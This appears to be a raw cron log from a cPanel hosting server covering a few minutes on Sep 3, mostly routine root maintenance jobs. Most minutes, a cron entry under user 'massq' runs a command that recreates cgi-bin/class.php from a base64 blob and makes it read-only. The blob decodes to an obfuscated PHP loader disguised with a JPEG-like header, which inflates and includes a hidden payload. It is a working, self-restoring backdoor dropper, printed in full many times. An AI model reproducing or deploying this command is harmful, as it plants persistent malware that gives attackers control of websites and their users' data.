Sep  3 19:53:01 server CROND[20693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:53:01 server CROND[20695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:54:01 server CROND[21089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:54:01 server CROND[21092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:54:01 server CROND[21091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:55:01 server CROND[21467]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:55:01 server CROND[21471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:55:01 server CROND[21468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:55:01 server CROND[21470]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:55:01 server CROND[21469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:55:01 server CROND[21472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:55:01 server CROND[21474]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:56:01 server CROND[22284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:56:01 server CROND[22285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:56:01 server CROND[22286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:57:01 server CROND[22765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:57:01 server CROND[22766]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 19:57:01 server CROND[22767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:57:01 server CROND[22771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:58:01 server CROND[23308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:58:01 server CROND[23310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:58:01 server CROND[23309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:59:01 server CROND[23683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:59:01 server CROND[23684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:59:01 server CROND[23685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:00:01 server CROND[24073]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 20:00:01 server CROND[24074]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 20:00:01 server CROND[24079]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:00:01 server CROND[24081]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:00:01 server CROND[24078]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:00:01 server CROND[24082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:00:01 server CROND[24080]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:00:01 server CROND[24083]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:00:01 server CROND[24077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:00:01 server CROND[24084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:01:01 server CROND[24925]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 20:01:01 server CROND[24924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:01:01 server CROND[24926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:01:01 server CROND[24927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:01:02 server run-parts(/etc/cron.hourly)[24925]: starting 0anacron
Sep  3 20:01:02 server run-parts(/etc/cron.hourly)[24947]: finished 0anacron
Sep  3 20:02:01 server CROND[25365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:02:01 server CROND[25366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:02:01 server CROND[25367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:03:01 server CROND[25741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:03:01 server CROND[25742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:03:01 server CROND[25743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:04:01 server CROND[26104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:04:01 server CROND[26105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:04:01 server CROND[26106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:05:01 server CROND[26485]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:05:01 server CROND[26484]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
